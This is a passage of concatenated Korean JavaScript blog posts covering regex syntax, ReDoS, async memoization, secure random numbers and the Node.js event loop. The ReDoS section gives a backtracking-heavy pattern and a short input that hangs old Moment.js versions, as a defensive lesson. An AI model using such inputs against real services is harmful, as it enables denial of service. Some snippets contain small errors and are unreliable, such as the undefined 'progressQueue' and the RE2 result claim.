- `{N,M}`: 최소 N번 이상 M번 미만으로 정규식과 일치

  ```javascript
  var regex = /go{1,2}d/
  console.log(regex.test('god'))
  // true
  console.log(regex.test('good'))
  // true
  console.log(regex.test('goood'))
  // false
  ```

- `X|Y`: `X` 또는 `Y`와 일치

  ```javascript
  var regex = /(green|red) apple/
  console.log(regex.test('green apple'))
  // true
  console.log(regex.test('red apple'))
  // true
  console.log(regex.test('blue apple'))
  // false
  ```

  ```javascript
  var regex = /a+b/ // This won't work
  var regex = /a\+b/ // This will work
  console.log(regex.test('a+b')) // true
  ```

#### 고오급

- `(x)`: `x`와 일치하고, 이 일치항목을 기억한다. 이를 캡쳐 그룹이라고 한다. 정규식 내 하위 식을 만드는 데에도 사용된다.

  ```javascript
  var regex = /(foo)bar\1/
  console.log(regex.test('foobarfoo'))
  // true
  console.log(regex.test('foobar'))
  // false
  ```

  `\1`는 괄호안의 첫번째 하위 표현식과 일치하는 항목을 기억하고, 이를 사용한다.

- `(?:x)`: x와 일치하는 것을 찾고, 그리고 이를 기억하지 않는다. 이는 논 캡쳐 그룹이라고 한다. `\1`는 작동하지않지만, `\1`과 일치하게 된다.

  ```javascript
  var regex = /(?:foo)bar\1/
  console.log(regex.test('foobarfoo'))
  // false
  console.log(regex.test('foobar'))
  // false
  console.log(regex.test('foobar\1'))
  // true
  ```

- `x(?=y)`: x가 y뒤에 올 경우 일치시킨다. 이를 positive look ahead라고 도 한다.

  ```javascript
  var regex = /Red(?=Apple)/
  console.log(regex.test('RedApple'))
  // Apple앞에있는 Red만 일치
  // true
  ```

## 실제 사용법

### 숫자 10개와 일치하는 정규식

```javascript
var regex = /^\d{10}$/
console.log(regex.test('9995484545'))
```

위 정규식을 하나씩 파해쳐 보자.

1. 일치 항목이 전체 문자열에 걸쳐서 있어야 한다면 (= 전체 문자열과 같아야 한다면) `^`, `$`를 사용하면 된다.
2. `\d`는 숫자만 허용한다
3. `{10}`은 이전 표현식을 10번 일치하는 것을 의미하므로, 여기서는 숫자 10개 일치를 의미한다.

### 날짜 `DD-MM-YYYY`또는 `DD-MM-YY`

```javascript
var regex = /^(\d{1,2}-){2}\d{2}(\d{2})?$/
console.log(regex.test('01-01-1990'))
// true
console.log(regex.test('01-01-90'))
// true
console.log(regex.test('01-01-190'))
// false
```

위 정규식을 하나씩 파해쳐 보자.

1. `^`와 `$`로 문자열 전체를 일치시키는 것만 찾는다.
2. `(`는 첫번째 하위 표현을 의미한다.
3. `\d{1, 2}` 숫자 1~2개
4. `-`: 하이픈 일치
5. `)`: 첫번째 하위 표현 종료
6. `{2}` 첫번째 표현과 정확히 2개 일치하는 경우
7. `\d{2}`: 정확히 두개의 숫자
8. `(\d{2})?`: 두개의 숫자. 그러나 옵셔널 이므로, 년도는 2개나 4개가 가능해진다.

## 조심해야 할 것

### lookbehind 문법은 사파리와 익스플로러에서 쓸 수 없다

[여기](/2020/03/regex-formatting-number)에서도 한번 언급했던 문제. `x(?<=y)` `x(?<!y)`와 같은 lookbehind문법은 [사파리와 익스플로러에서는 지원하지 않으므로](/2020/03/regex-formatting-number), 다른 방법으로 처리해야한다.

### Catastrophic Backtracking

정규식에는 두가지 알고리즘이 존재한다.

- Deterministic Finite Automaton (DFA): 문자열의 문자를 한번만 확인한다.
- Nondeterministic Finite Automaton (NFA): 최적의 일치를 찾을 때 까지 여러번 확인한다.

여기에서 자바스크립트는 NFA 알고리즘을 사용하고 있는데, NFA의 동작으로 인해 Catastrophic Backtracking 가 일어날 수 있다.

무슨말인지 잘 모르겠으니 아래 정규식을 살펴보자.

```javascript
;/(g|i+)+t/
```

매우 간단한 정규식이지만, 매우 무거운 정규식이기도 하다.

- `(g|i+)`: 주어진 문자열이 `g`로 시작하는지, 또는 `i`가 하나이상 있는지 확인한다.
- `+`: 이전 그룹이 한개이상 존재하는지 확인한다.
- `t`: 문자열은 `t`로 끝나야 한다.

이제 다음 정규식에 맞는 글자들은..

```text
git
giit
gggt
gigiggt
igggt
```

가 될 것이다.

이 정규식이 얼마나 오래 걸리는지 확인해보자.

```javascript
const regexp = /(g|i+)+t/
console.time('Regexp')
'giiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiit'.search(regexp)
console.timeEnd('Regexp')
// Regexp: 0.210ms
```

제법 빠르게 잘 찾는 것을 볼 수 있다. 그런데, 여기에서 이제 마지막 `t`를 `v`로 바꾸면,,,

```javascript
const regexp = /(g|i+)+t/
console.time('Regexp')
'giiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiv'.search(regexp)
console.timeEnd('Regexp')
// Regexp: 16.360ms
```

엄청나게 오래걸리는 것을 볼 수 있다.

자바스크립트 정규식 엔진은, 첫번째로 성공했던 유효성 검사에서 일련의 문자를 한번 확인한뒤, 다시 이후 검사를 계속한다. `(g|i+)` 만약 특정 위치에서 실패하면, 이전 위치로 다시 돌아가서 또다른 글자를 찾는다.

만약 이 뒤로 돌아가서 글자를 찾는 과정, 즉 역추적이 너무 복잡해지면 알고리즘은 더 많은 컴퓨팅 파워를 보시하게 되고, 이로 인해 Catastrophic Backtracking가 발생하게 된다.

### Nodejs환경에서의 ReDos

[ReDos](https://en.wikipedia.org/wiki/ReDoS)는 앞서 언급했던 Catastrophic Backtracking를 활용하여 nodejs 서버를 공격할 수 있다. 자바스크립트는 싱글 스레드 이기 때문에, `ReDos` 공격은 요청이 완료 될 때 까지 서버가 중단되도록 공격할 수 있다.

일례로, 2.15.2이하 버전의 Moment.js 에서는 ReDos 취약성이 존재한다.

https://snyk.io/test/npm/moment/2.15.2

```javascript
var moment = require('moment')
moment.locale('be')
moment().format('D                               MMN MMMM')
```

위 예제에서는, 날짜 형식은 40자인데 공백만 31개가 있다. 이로 인해 역추적이 발생해 실행시간이 엄청나게 오래걸리게 된다. (moment가 느린 요인 중 하나는 정규식을 사용한다는 것이다.)

이러한 문제가 발생한 것은, moment에서 `+` 연산자를 너무 과도하게 사용했다는 것이다. `/D[oD]?(\[[^\[\]]*\]|\s+)+MMMM?/`

## 안전한 정규식 작성하는 방법

### 1. 가능한 간단하게 작성하기

두 개이상의 `*`, `+`, `}`가 가까 이 있는 경우에 Catastrophic Backtracking 이슈가 발생할 수 있다. 따라서 정규식을 단순화 해서 위와 같은 패턴을 피해야 한다.

### 2. validation 라이브러리 사용

- https://github.com/validatorjs/validator.js
- https://express-validator.github.io/docs/

와 같은 라이브러리로 정규식을 한번 검토하고 나갈 필요가 있다.

### 3. 정규식 analyzer 사용

- https://github.com/davisjam/safe-regex
- https://www.cs.bham.ac.uk/~hxt/research/rxxr2/

를 사용하여, 안전한 정규식인지 한번 확인할 필요가 있다.

### 4. Nodejs의 디폴트 정규식 엔진을 사용하지 말 것.

NodeJS의 디폴트 정규식은 `ReDos` 공격에 취약하므로, 구글에서 만든 [re2](https://github.com/uhop/node-re2)와 같은 별도의 엔진을 사용하는 것이 좋다. 이 엔진은 `ReDos`를 방어할 수도 있으며, 기존 정규식 엔진과 사용도 거의 동릴하다.

```javascript
var RE2 = require('re2')
var re = new RE2(/(g|i+)+t/)
var result = 'giiiiiiiiiiiiiiiiiiit'.search(re)
console.log(result) //false
```

`false`가 나오는 이유는, Catastrophic Backtracking로 부터 안전하지 않기 때문이다.

---

Source: https://yceffort.kr/2021/09/memoize-async-function.md
Title: 비동기 함수 memoize 하는 방법
Description: memo, useMemo, useCallback, 그리고...
Date: 2021-09-08
Tags: javascript, react

## Introduction

메모이제이션은 프로그래밍에 있어 유용한 개념 중 하나다. 한번 실행하는데 비용이나 시간이 많이 드는 계산을 두 번 이상 동일하게 하는 것을 방지할 수 있다. 동기 함수에 메모이제이션 하는 것은 비교적 간단하다. 하지만 비동기 함수에서 메모이제이션을 어떻게 적용하는게 좋을까?

## 메모이제이션

일단 가장 간단한 순수 함수를 메모이제이션을 하는 것을 살펴보자.

```javascript
function getSquare(x) {
  return x * x
}
```

이를 메모이제이션 하기 위해, 예를 들어 아래와 같은 방법을 사용할 수 있다.

```javascript
const memo = {}

function getSquare(x) {
  if (memo.hasOwnProperty(x)) {
    return memo[x]
  }
  memo[x] = x * x
  return memo[x]
}
```

간단하게 몇줄 만으로도 메모이제이션을 할 수 있게 되었다.

그러나 위 방법은 굉장히 조악하므로, `memoize` 함수를 만들어 보자. 이 함수는 첫번째 인수로는 순수함수를, 두번째 함수로는 `getKey()` 함수 (첫번째 인수의 함수의 유니크 키를 리턴할 수 있는 함수)를 받아서 결과값을 메모이제이션 시킨다.

```javascript
function memoize(fn, getKey) {
  const memo = {}
  return function memoized(...args) {
    const key = getKey(...args)
    if (memo.hasOwnProperty(key)) return memo[key]

    memo[key] = fn.apply(this, args)
    return memo[key]
  }
}
```

이를 적용시켜 보자.

```javascript
const memoGetSquare = memoize(getSquare, (num) => num)
memoGetSquare(10) // 100
memoGetSquare(10) // 100 두번째 부터는 계산하지 않고 있던 값을 그냥 리턴한다.
```

## 비동기 함수 메모이제이션 하기

`expensiveOperation(key)`라는 비동기 함수가 있다고 가정해보자. 이 함수는 굉장히 시간/비용이 많이 드는 작업을 하고, 결과 값을 반환하면 콜백함수를 실행한다.

```javascript
// 비동기 작업을 실행하고 결과에 따라 콜백을 수행
expensiveOperation(key, (data) => {
  // Do something
})
```

이걸 메모이제이션 한다고 가정해본다면...?

```javascript
const memo = {}

function memoExpensiveOperation(key, callback) {
  if (memo.hasOwnProperty(key)) {
    callback(memo[key])
    return
  }

  expensiveOperation(key, (data) => {
    memo[key] = data
    callback(data)
  })
}
```

간단해보인다. 🤔 그러나 이 함수는 한가지 문제가 존재한다. `a`라는 인수를 받아 실행하는 과정에서, 또 똑같이 `a`라는 인수의 요청이 들어오면 어떻게 될까? 이 경우 첫번째 실행기 끝나지 않았다면, 두번째 함수도 마찬가지로 실행되어 버리기 때문에 중복해서 호출될 것이다. 우리는 이렇게 동시에 실행 되기 보다는, 어쨌든 빨리 끝난 함수의 결과값을 받아다가 실행하길 원할 것이다.

```javascript
const memo = {}
const progressQueues = {}

function memoExpensiveOperation(key, callback) {
  // 메모에 값이 있다면, 해당 콜백을 그냥 바로 실행
  if (memo.hasOwnProperty(key)) {
    callback(memo[key])
    return
  }

  if (!progressQueues.hasOwnProperty(key)) {
    // queue에 해당 키로 실행 중인 것이 없다면, 콜백을 배열 형태로 넣는다.
    progressQueues[key] = [callback]
  } else {
    // queue에 실행 중인게 있다면, 콜백을 배열에 추가해서 넣는다.
    progressQueues[key].push(callback)
    return
  }

  expensiveOperation(key, (data) => {
    // 결과를 메모이즈
    memo[key] = data
    // 줄줄이 있던 콜백 모두 실행
    for (const cb of progressQueues[key]) {
      cb(data)
    }
    // 큐 처리
    delete progressQueue[key]
  })
}
```

이를 앞선 예시 처럼 헬퍼 형태로 만들어 보자.

```javascript
function memoizeAsync(fn, getKey) {
  const memo = {},
    progressQueues = {}

  return function memoized(...allArgs) {
    const callback = allArgs[allArgs.length - 1]
    const args = allArgs.slice(0, -1)
    const key = getKey(...args)

    if (memo.hasOwnProperty(key)) {
      callback(memo[key])
      return
    }

    if (!progressQueues.hasOwnProperty(key)) {
      progressQueues[key] = [callback]
    } else {
      progressQueues[key].push(callback)
      return
    }

    fn.call(this, ...args, (data) => {
      memo[key] = data
      for (let callback of progressQueues[key]) {
        callback(data)
      }
      delete progressQueue[key]
    })
  }
}

// USAGE
const memoExpensiveOperation = memoizeAsync(expensiveOperation, (key) => key)
```

## Promises

이번에는 `processData(key)`라는 함수가 `key`를 인수로 받고, promise를 리턴하는 모습을 상상해보자. 그리고 이를 메모이제이션 해보자.

가장 간단하게 하는 방법은 아래와 같을 것이다.

```javascript
const memo = {}
function memoProcessData(key) {
  if (memo.hasOwnProperty(key)) {
    return memo[key]
  }

  memo[key] = processData(key) // memoize the promise for key
  return memo[key]
}
```

앞서 언급했던 `memoize` 함수와 별반 다를게 없다. 그렇다면 리턴하는 Promise 값을 메모이제이션하려면 어떻게 해야할까?

```javascript
const memo = {},
  progressQueues = {}

function memoProcessData(key) {
  return new Promise((resolve, reject) => {
    // 메모이제이션 된 값이 있다면 리턴
    if (memo.hasOwnProperty(key)) {
      resolve(memo[key])
      return
    }

    if (!progressQueues.hasOwnProperty(key)) {
      // queue에 해당 키로 실행 중인 것이 없다면, 콜백을 배열 형태로 넣는다.
      progressQueues[key] = [[resolve, reject]]
    } else {
      // queue에 실행 중인게 있다면, 콜백을 배열에 추가해서 넣는다.
      progressQueues[key].push([resolve, reject])
      return
    }

    processData(key)
      .then((data) => {
        // 리턴된 값 메모이제이션
        memo[key] = data // memoize the returned data
        // resolve 실행
        for (let [resolver] of progressQueues[key]) resolver(data)
      })
      .catch((error) => {
        // reject 실행
        for (let [, rejector] of progressQueues[key]) rejector(error)
      })
      .finally(() => {
        // clean up progressQueues
        delete progressQueues[key]
      })
  })
}
```

## 보완할 것

메모이제이션을 위해 `memo`라는 객체를 사용하기 때문에, 다양한 인수로 호출이 많아 질 수록, 이 객체의 크기가 갈수록 커질 것이다. 이러한 상황을 방지하기 위해 [Least Recently Used, aka LRU](<https://en.wikipedia.org/wiki/Cache_replacement_policies#Least_recently_used_(LRU)>)와 같은 캐싱 정책을 사용할 수도 있을 것이다. 이는 메모이제이션에 드는 메모리에 대한 문제까지도 해결할 수 있을 것이다.

---

Source: https://yceffort.kr/2021/09/javascript-random-number.md
Title: 자바스크립트에서 안전하게 난수 생성하는 방법
Description: Math.random()도 잘못 사용하는 경우가 더러 있음
Date: 2021-09-01
Tags: javascript, security

## Table of Contents

## Introduction

애플리케이션을 개발하다보면, 안전하게 난수를 생성해야 하는 경우가 있다. 예를 들어 주사위 게임이나 추첨, private key 생성 등등, 안전하게 난수를 생성하는 방법을 알아두어야 한다.

일단, 자바스크립트에는 `Math` 객체에 `random()`이라는 메소드가 존재한다. 이 메소드를 사용하면, 랜덤한 숫자를 생성할 수 있다.

`Math.random()`에서는 0이상 1미만의 부동 소수점 난수를 리턴한다. $$0 \geq x \lt 1$$

이 메소드를 사용하여 특정 범위의 랜덤한 숫자를 생성하는 다양한 방법이 있지만, 사실 `Math.random()`은 실제로 랜덤한 숫자롤 생성한다고 보기 어렵다. 이는 [유사 난수](https://ko.wikipedia.org/wiki/%EC%9C%A0%EC%82%AC%EB%82%9C%EC%88%98) 이기 때문이다. 알려진 것 처럼, [컴퓨터로 유사 난수가 아닌 진짜 난수를 생성하는 것은 어렵다.](https://en.wikipedia.org/wiki/Random_number_generation#Computational_methods)

일반적으로, `Math.random()`으로 생성한 유사 난수는 대부분의 경우 충분한 답이 될 수 있지만, 암호학적으로 안전한 난수를 생성할 필요도 존재한다. 즉, 패턴을 통해서 쉽게 추측할 수 없거나, 시간이 지나도 반복되지 않는 진짜 난수가 필요하다는 것이다.

## 자바스크립트에서 `Math.random()`을 사용해야 하는 경우

`Math.random()`은 이른바 '시드'라고 하는 내부의 숨겨진 값에서 만들어지는 비 암호화 랜덤 숫자를 리턴한다. 시드는 지정된 범위에서 균일하게 생성된 숨겨진 숫자 시퀀스의 시작점이다.

이 메소드의 가장 간단한 사용예제로는, 0과 1사이의 랜덤한 부동 소수점을 만드는 것이다.

```javascript
const randomNumber = Math.random()
console.log(randomNumber) // 0.10150112695188218
```

이 랜덤한 숫자에 다른 숫자를 곱해서 원하는 크기의 결과를 만들어 낼 수 있다.

```javascript
const max = 6
const randomNumber = Math.floor(Math.random() * max)
console.log(randomNumber) // 3
```

또 다른 사용사례로는, `Math.floor`를 사용하여 특정 범위내의 난수를 생성하는 것이다. `floor`는 특정 숫자 보다 작거나 같은 숫자를 리턴한다.

```javascript
const max = 4
const min = 2

const result1 = Math.random() * (max - min)
console.log(result1) // 0.30347479463943516

const result2 = Math.random() * (max - min) + min
console.log(Math.floor(result2)) // 2
```

## `Math.random()`의 보안 취약점

`Math.random()`은 앞서 언급한 것처럼 보안적인 측면에서 단점이 있다. MDN의 문서에 따르면 `Math.random()`는 암호학적으로 안전한 난수를 생성해주지 않는다. 따라서 프로그램의 보안과 관련된 로직에서는 `Math.random()`을 사용하지 않는 것이 좋다.

> Note: Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method.

그 원인은 아래와 같다.

- 균일한 분포 내에서 랜덤 정수를 생성하는데 사용되는 로직이 부적절하고 일반적으로 편향되어 있음
- 사용해야할 임의의 비트/바이트 수가 브라우저 별로 일치 하지 않음
- 무작위 결과값은 항상 일관되게 다시 생성하기 어려우므로, 이는 본질적으로 비결정적이고 불규칙함
- 빌트인 시드가 변조될 수 있으므로 무결성 측면에서 부적합

이러한 문제들 때문에, [월드와이드웹 컨소시움](https://www.w3.org/)은 [Web Crypto API](https://www.w3.org/TR/WebCryptoAPI/)를 만들어 공개하였다. 이 기능은 [대부분의 브라우저에서 사용할 수 있다.](https://caniuse.com/cryptography)

## Web Crypto API

`Web Crypto API`는 `window.crypto`를 통해 엑세스할 수 있는 다양한 암호화 관련 메소드와 함수를 제공한다. 브라우저에서는, `crypto.getRandomValues(Int32Array)`를 사용하여 암호학적인 난수를 생성할 수 있다.

```javascript
var array = new Uint32Array(10)
window.crypto.getRandomValues(array)

console.log('나의 행운의 숫자들:')
for (var i = 0; i < array.length; i++) {
  console.log(array[i])
}
// 나의 행운의 숫자들:
// 4213312451
// 4055435872
// 1248983520
// 2190329984
// 3226059214
// 1665817179
// 745131913
// 3947493810
// 218658595
// 2076931579
```

Nodejs에서는 표준 web crypto api가 제공된다. `require('crypto').randomBytes(size)`를 사용하면, node에 있는 native 암호화 모듈을 사용하여 난수를 생성할 수 있다.

```javascript
const randomBytes = require('crypto').randomBytes(2)
const number = parseInt(randomBytes.toString('hex'), 16)

console.log(number) // 40358
```

Web Crypto API에 사용되는 의사 난수 생성 알고리즘 (pseudo-random number generator algorithm, PRNG)는 브라우저에 따라서 다를 수 있다.

## Web Crypto API 활용하기

`Crypto.getRandomValues()` 메소드는 암호학적으로 강력한 난수를 리턴한다. 대부분의 웹 브라우저에서 사용할 수 있으며, 구현 방식에 따라 차이가 있을 수 있지만 엔트로피가 충분한 시드를 사용해야 한다. 이는 성능과 보안에 부정적인 영향을 미치지 않기 위함이다.

`getRandomValues()`는 crypto 인터페이스 중 유일하게 안전하지 않는 컨텍스트에서 사용할 수 있는 메소드다. 따라서 여기서 얻은 암호화 키는 안전한 결과가 아닐 수도 있으므로, 암호화 키를 생성할 때 이 메소드를 사용하지 않는 것이 좋다. 이 경우에는, `generateKey()` 메소드를 사용하는 것이 좋다.

### 문법

`Web Cryptography API`는 바이트 시퀀스를 나타내는 입력으로 `ArrayBuffer`, `TypedArray`를 인수로 받는다.

```javascript
cryptoObj.getRandomValues(typedArray)
```

`typedArray`는 정수 기반의 `TypedArray`객체다. 이 외에도 `Int8Array`, `Uint8Array`, `Int16Array`, `Uint16Array`, `Int32Array`, `Uint32Array`가 될 수 있다. 이 배열이 이제 랜덤한 난수로 채워지게 된다.

## 난수 생성하기

보안 목적으로 필요한 모든 임의의 값 (공격자에게 공격 받을 수 있는 가능성이 있는 모든 값)는 암호학적으로 안전한 의사 난수 생성기 ([Cryptographically Secure Pseudo-Random Number Generator, CSPRNG](https://en.wikipedia.org/wiki/Cryptographically-secure_pseudorandom_number_generator))를 사용하여 생성해야 한다.

이를 활용할 수 있는 분야로는 토큰 확인 또는 리셋, 복권 번호, API 키, 암호 생성, 암호화 키 등이 있다.

가장 안전하게 생성할 수 있는 방법은 무엇일까? 가장 좋은 방법은 보안상으로 잘 설계 되어 있는 라이브러리를 활용하는 것이다. Nodejs를 기준으로 살펴보면,

- [random-number-csprng](https://www.npmjs.com/package/random-number-csprng)
- API Key, 토큰에는 [uuid](https://www.npmjs.com/package/uuid), `uuid.v4`

---

Source: https://yceffort.kr/2021/08/event-loop-deep-dive.md
Title: Nodejs의 이벤트 루프 살펴보기
Description: 이벤트 루프는 4개의 큐, 그리고 2개의 중간 큐가 있습니다.
Date: 2021-08-31
Tags: nodejs, javascript

## Table of Contents

## Overview

Nodejs가 다른 프로그래밍 플랫폼과 구별되는 특징은 I/O를 처리하는 방식이다. Nodejs를 소개할 때 마다 항상 반복해서 하는 얘기는 _구글 v8 자바스크립트 엔진 기반의 논블로킹, 이벤트 기반 플랫폼_ 라는 것이다. _논블로킹_, _이벤트 기반_이라는 것은 무슨 뜻일까? 이 모든 것에 대한 대답은 Nodejs의 중심인 이벤트 루프에 있다. 이벤트 루프는 무엇인지, 작동방식은 어떤지, 애플리케이션에 어떻게 영향을 미치는지, 어떻게 해야 최상의 결과를 얻을 수 있을까?

## 반응형 패턴

Nodejs는 **Event Demultiplexers** 및 **이벤트 큐**를 포함하고 있는 이벤트 기반 모델로 작동한다. 모든 I/O 요청은 완료/실패 또는 또다른 트리거를 발생시킨다. 이를 **이벤트** 라고 한다. 이러한 이벤트는 다음 알고리즘에 따라서 처리된다.

1. Event Demultiplexers는 I/O 요청을 받고, 이러한 요청을 적절한 하드웨어에 위임한다.
2. I/O 요청이 처리되면 (파일에 있는 데이터 읽기, 소켓에 있는 데이터 읽기 등) Event Demultiplexers는 처리해야할 특정 작업에 등록되어 있는 콜백 핸들러를 큐에 추가한다. 여기서 말하는 콜백을 이벤트라고 하고, 이벤트가 추가되는 큐를 이벤트 큐라고 한다.
3. 이벤트 큐에서 이벤트를 처리할 수 있는 경우, 이벤트를 수신한 순서대로 큐이 빌 때 까지 순차적으로 실행한다.
4. 이벤트 큐에 더 이상 이벤트가 없거나, Event Demultiplexer에 더 이상 보류 중인 요청이 없는 경우, 프로그램이 완료된다. 그렇지 않으면, 다시 첫 번째 단계 부터 프로세스가 계속된다.

이 전체 매커니즘을 조율하는 프로그램을 **이벤트 루프** 라한다.

![event-loop](https://miro.medium.com/max/1122/1*3fzASvL5gFrSC64hHKzQOQ.jpeg)

이벤트 루프는 단일 스레드이며, 반 무한 (semi-infinite) 루프다. 이것을 무한이 아닌 반 무한이라고 부르는 이유는, 더 이상 할일이 없는 시점에는 멈추기 때문이다. 개발자 관점에서 보자면, 여기에서 프로그램이 종료되는 것이다.

위 그림은, nodejs가 어떻게 작동하는지와, 이른바 [리액터 패턴](https://ko.wikipedia.org/wiki/%EB%B0%98%EC%9D%91%EC%9E%90_%ED%8C%A8%ED%84%B4) 이라고 불리우는 디자인 패턴의 주요 컴포넌트들을 보여 주고 있다. 하지만 실제로는 이것보다 훨씬 더 복잡하다.

## Event Demultiplexer

Event Demultiplexer라는 컴포넌트는 사실 실제로 존재하는 컴포넌트 개념이 아니다. 이는 리액터 패턴에 있어서 일종의 추상적인 개념이라고 볼 수 있다. Event Demultiplexer는 리눅스의 epoll, 맥과 같은 BSD 시스템에서는 kqueue, Solaris의 event ports, 윈도우의 IOCP (Input Output Completion Port) 등과 같이 서로 다른 이름으로 여러 시스템에 걸쳐 존재하고 있다. Nodejs는 이러한 구현을 활용하여 저수준 논블로킹, 비동기 하드웨어 I/O 기능을 사용한다.

### File I/O의 복잡성

그러나 안타깝게도, OS에서 제공하는 이 구현을 사용하여 모든 유형의 I/O를 수행할 수 있는 것은 아니다. 동일 OS 내부에서도, 서로 다른 유형의 I/O를 제공하는 데 있어서 복잡성이 존재한다. 일반적으로 네트워크 I/O 는 앞서 이야기한, epoll, kqueue, event ports, IOCP 등으로 구현할 수 있지만, 파일 I/O는 이보다 훨씬 복잡하다. 리눅스와 같은 일부 시스템의 경우, 파일 시스템 액세스에 필요한 완전한 비동기화 기능을 제공하지 않는다. [또한 macOS 시스템에서는 kqueue를 활용한 파일 시스템 이벤트 알림, 시그널링에 제한이 있다.](http://blog.libtorrent.org/2012/10/asynchronous-disk-io/) 따라서 완전한 비동기성을 제공하기 위해 모든 OS의 파일 시스템의 복잡성을 해결하는 것은 매우 어렵고, 해결하기도 거의 불가능하다.

### DNS의 복잡성

파일 I/O와 비슷하게, Node API에서 제공하는 특정 DNS 함수들에도 몇가지 복잡성이 존재하고 있다. NodeJS의 DNS 함수 중, `dns.lookup`와 같은 경우에는 `nsswitch.conf` `resolv.conf`, `/etc/hosts`와 같은 시스템 설정파일에 접근해야 하므로, 파일 시스템의 복잡성이 여기까지 적용된다고 볼 수 있다.

### 해결책

따라서 하드웨어 비동기 I/O 유틸리티로 직접 주소를 지정할 수 없는 I/O 함수를 지원하기 위해 `thread pool`의 개념이 도입되었다. 즉, 모든 I/O 함수가 스레드 풀에서 실행되지 않는다. (특정 함수만 스레드 풀에서 실행됨) NodeJS는 대부분의 I/O를 논블로킹 비동기 하드웨어 I/O를 사용하기 위하여 최선을 다했지만, 이를 사용하는 것이 차단되었거나, 해결하기 복잡한 위와 같은 유형의 문제에서는 스레드 풀을 사용한다.

> 사실 스레드 풀에서 실행되는 것은 I/O 뿐만 이 아니다. Node.js의 `crypto`내부에 있는 함수들 중 `crypto.pbkdf2`, 비동기 버전의 `crypto.randomBytes`와 `crypto.randomFill`, `zlib.*`는 CPU 집약적인 작업이어서 libuv의 스레드 풀에서 실행된다. 스레드 풀에서 실행되는 작업들은 이벤트 루프를 블로킹하지 않는다.

### 종합하자면

살펴본 것처럼, 실제 세계에 존재하는 모든 서로다른 종류의 I/O 작업을 지원하는 것은, OS 마다 서로 다른 특징을 가지고 있기 때문에 매우 어렵다고 볼 수 있다. 일부 I/O는 비동기적인 특징을 유지하면서도 네이티브 하드웨어 구현을 활용하여 수행될 수도 있고, 비동기 특성을 보장하기 위해 스레드 풀에서 수행되는 경우도 있다.

> Nodejs가 스레드 풀에서 모든 I/O를 수행한다는 것은 거짓이다.

여러 플랫폼의 I.O를 지원하면서, 전체 프로세스를 제어하려면, 이러한 플랫폼간 복잡성을 캡슐화하고, 노드의 상위 계층에 일바회된 API를 노출하는 추상화된 계층이 있어야 한다.

그리고, 이를 수행하는 것이 바로,,,

![libuv](https://miro.medium.com/max/1400/1*PCRWGXEGI_bF2Rb3JxxBSg.png)

> libuv is cross-platform support library which was originally written for Node.js. It’s designed around the event-driven asynchronous I/O model.

> The library provides much more than a simple abstraction over different I/O polling mechanisms: ‘handles’ and ‘streams’ provide a high level abstraction for sockets and other entities; cross-platform file I/O and threading functionality is also provided, amongst other things.

libuv가 어떻게 구성되어 있는지 살펴보자. 아래 그림은 libuv 공식 홈페이지에서 가져왔다.

![libuv](http://docs.libuv.org/en/v1.x/_images/architecture.png)

`Event Demultiplexer` 는 앞서 언급한 것처럼 무언가 독립된 하나의 객체가 아니라, libuv에 의해 추상화 되고, NodeJS의 상위 계층에 노출되는 I/O 처리 API 모음이다. libuv가 제공하는 것은 이것 뿐만이 아니다. libuv는 nodejs 전체에 걸쳐 이벤트 루프, 이벤트 큐 매커니즘을 제공한다.

## 이벤트 큐

이벤트 큐는 모든 이벤트가 대기열에 들어가고, 그 대기열이 비어있을 때 까지 이벤트 루프에 의해 순차적으로 처리하는 데이터 구조여야 한다. 그러나 Nodejs에서 이러한 작업이 일어나는 동작은, 추상 리액터 패턴이 이를 설명하는 방식과 완전히 다르다. 어떻게 다를까?

> Nodejs에는 서로 다른 이벤트가 대기하는 한개 이상의 큐가 존재한다. 한 단계를 처리한 후, 다음 단계로 이동하기 전에 이벤트 루프는 중간 큐 남아 있는 항목이 없을 때까지, 두개의 중간 대기열을 처리한다.

Nodejs에는 얼마나 많은 큐가 있고, 이 큐들이 각각 어떤 동작을 하고 있을까?

- `Expired timers and intervals queue`: `setTimeout`, `setInterval`을 사용한 콜백
- `IO Events Queue`: 완료된 I/O 이벤트
- `Immediates Queue`: `setImmediate` 함수를 사용하여 추가된 콜백
- `Close Handlers Queue`: 모든 `close` 이벤트 핸들러

> 사실 일부는 큐 형태가아닌 다른 데이터 형태로 저장되어 있다 (타이머의 경우에는 min-heap)

이 4개의 메인 큐 이외에, 앞서 언급했던 `중간 큐`로 언급했던 2개의 큐가 Nodejs에서 처리된다. 이 큐는 libuv의 일부가 아니라 Nodejs의 일부다.

- `Next Ticks Queue`: `process.nextTick` 함수에 의해 추가된 콜백
- `Other Microtasks Queue`: Promise callback resolve와 같은 마이크로 태스크 작업

### 어떻게 동작하는가?

아래 그림을 보면, Nodejs는 타이머 대기열에 있는 만기된 타이머가 있는지 먼저 확인하면서 이벤트 루프를 시작한다. 그리고 처리할 총 아이템의 카운터 참조를 유지하면서 각 단계에서 각 큐를 실행한다. `close` 핸들러 큐를 처리한 이후에, 더 이상 대기중인 큐가 없고 동작중인 작업이 없다면 루프를 빠져나가게 된다. 이벤트 루프에서 각 큐의 처리는 이벤트 루프의 한 단계로 볼수 있다.

![structure-of-eventloop](https://miro.medium.com/max/2000/1*2yXbhvpf1kj5YT-m_fXgEQ.png)

한가지 흥미로운 점은, 각 단계가 끝날 때 마다 중간 큐 (`next ticks queue`, `microtask queue`)에 현재 처리해야할 항목이 있는지 확인한다는 것이다. 이 중간 queue에 작업이 있을 경우, 이벤트 루프는 즉시 두개의 큐가 비워질 때 가지 해당 작업을 처리하게 된다. 그리고 이 두 큐가 비게 되면 다음 단계가 처리되기 시작한다.

### Next tick queue vs Other microtasks

Next tick queue는 다른 마이크로 태스크 큐에 비해 더 높은 우선 순위를 갖는다. 이 두 큐는 이벤트 루프의 각 단계 사이에서 실행되는데, 이는 libuv가 더 높은 레벨에 있는 nodejs와 각 단계가 끝날 때 마다 통신한다는 것을 의미한다.

이 중간 큐 규칙은 IO Starvation이라고 하는 새로운 문제를 야기한다. `process.nextTick`를 활용하여 다음 큐를 계속해서 채우는 경우, 이벤트 루프는 다음 으로 넘어가지 못하고, 다음 큐를 계속 기다리기만 하게 된다. 이 큐가 비워지지 않고는 다음 이벤트 루프를 넘어갈 수 없으므로, `IO Starvation`이 발생하게 된다.

![nodejs architecture](https://miro.medium.com/max/1400/1*-0Sa0i_g-gcL9sJqvecKEw.png)

---

